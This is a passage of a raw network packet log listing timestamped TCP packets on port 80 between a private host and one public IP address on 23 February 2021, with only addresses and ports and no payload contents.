Feb 23, 2021 16:55:45.607819080 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.608517885 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.608544111 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.608568907 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.608923912 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.609278917 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.609303951 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.609330893 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.609378099 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.610049963 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.610135078 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.610157967 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.610198975 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.610295057 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.610790968 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.610815048 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.610838890 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.610996962 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.611543894 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.611568928 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.611594915 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.611661911 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.612294912 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.612325907 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.612345934 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.612412930 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.613049030 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.613090992 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.613095999 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.613112926 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.613182068 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.613554955 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.613578081 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.613604069 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.613622904 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.613647938 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.613666058 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.613682032 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.614422083 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.614447117 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.614470959 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.614490986 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.614515066 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.614526987 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.614556074 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.615298986 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.615322113 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.615346909 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.615366936 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.615391016 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.615411997 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.615431070 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.616200924 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.616223097 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.616246939 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.616264105 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.616283894 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.616286039 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.616355896 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.617024899 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.617048025 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.617072105 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.617088079 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.617106915 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.617117882 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.617225885 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.617862940 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.617893934 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.617913008 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.617938042 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.617958069 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.617985010 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.618019104 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.618695021 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.618716002 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.618740082 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.618757963 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.618782043 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.618784904 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.618805885 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.619504929 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.619529009 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.619550943 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.619571924 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.619574070 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.619592905 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.619616985 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.620316982 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.620341063 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.620366096 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.620385885 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.620404005 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.620405912 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.620433092 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.621129990 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.621151924 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.621177912 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.621197939 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.621221066 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.621237040 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.621257067 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.621941090 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.621972084 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.621990919 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.622011900 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.622033119 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.622035980 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.622047901 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.622055054 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.622118950 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.622920990 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.622942924 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.622966051 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.622982979 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.623001099 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.623002052 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.623022079 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.623047113 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.623939037 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.623964071 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.623991966 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.623994112 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.624012947 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.624034882 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.624038935 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.624061108 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.624123096 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.624190092 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.624835014 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.624860048 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.624878883 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.624896049 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.624903917 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.624914885 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.624928951 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.624943018 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.625092983 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.625791073 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.625814915 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.625843048 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.625865936 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.625873089 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.625885963 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.625901937 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.625907898 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.626040936 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.626727104 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.626749992 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.626776934 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.626797915 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.626823902 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.626826048 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.626843929 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.626864910 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.626874924 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.627718925 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.627742052 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.627762079 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.627788067 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.627808094 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.627827883 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.627830982 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.627861023 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.628561974 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.628582954 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.628606081 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.628624916 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.628642082 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.628664017 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.628674984 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.628689051 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.629509926 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.629534960 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.629554987 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.629575014 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.629601002 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.629606962 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.629621983 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.629637003 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.630393028 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.630418062 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.630445957 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.630466938 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.630471945 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.630492926 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.630498886 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.630513906 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.630520105 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.630898952 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.631277084 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.631303072 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.631330013 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.631350040 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.631369114 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.631370068 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.631377935 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.631392002 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.631484985 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.632256031 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.632282019 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.632308006 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.632325888 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.632350922 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.632354975 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.632369995 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.632370949 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.632483006 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.633049011 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.633080006 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.633100033 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.633125067 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.633145094 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.633147001 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.633167028 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.633232117 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.634283066 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.634316921 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.634335995 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.634362936 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.634383917 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.634402990 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.634407043 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.634427071 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.636166096 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.636192083 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.636219978 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.636241913 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.636260986 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.636269093 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.636281013 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.636286020 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.636352062 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.637727022 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.637769938 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.637806892 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.637839079 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.637860060 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.637876987 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.637928963 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.637969971 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.638721943 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.638755083 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.638788939 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.638797045 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.638820887 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.638851881 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.638883114 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.638923883 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.638928890 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.638938904 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.639971018 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.640007019 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.640045881 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.640079975 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.640110970 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.640141010 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.640142918 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.641005993 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.641623974 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.641664028 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.641705990 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.641737938 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.641769886 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.641803980 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.641807079 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.641817093 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.641840935 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.642716885 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.643285036 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.643323898 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.643383026 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.643414021 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.643445969 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.643477917 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.643486023 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.643631935 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.645221949 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.645267963 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.645308018 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.645339012 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.645371914 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.645414114 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.645431995 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.645473003 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.646967888 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.647001982 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.647046089 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.647077084 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.647079945 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.647111893 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.647151947 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.647192955 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.647197008 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.647437096 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.647470951 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.647507906 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.647511005 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.647542953 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.647545099 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.647578955 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.647624969 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.647648096 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.647655964 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.647780895 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.649101973 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.649137974 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.649178028 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.649208069 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.649209976 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.649243116 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.649276018 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.649306059 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.649421930 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.649452925 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.650984049 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.651017904 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.651061058 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.651092052 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.651120901 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.651139021 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.651175022 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.651206017 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.651213884 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.651303053 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.651628971 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.651652098 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.651735067 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.653858900 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.653897047 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.653938055 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.653970957 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.654001951 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.654036999 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.654052019 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.654052973 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.654088020 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.654186964 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.655589104 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.655633926 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.655664921 CET	80	49169	172.67.172.17	192.168.2.22
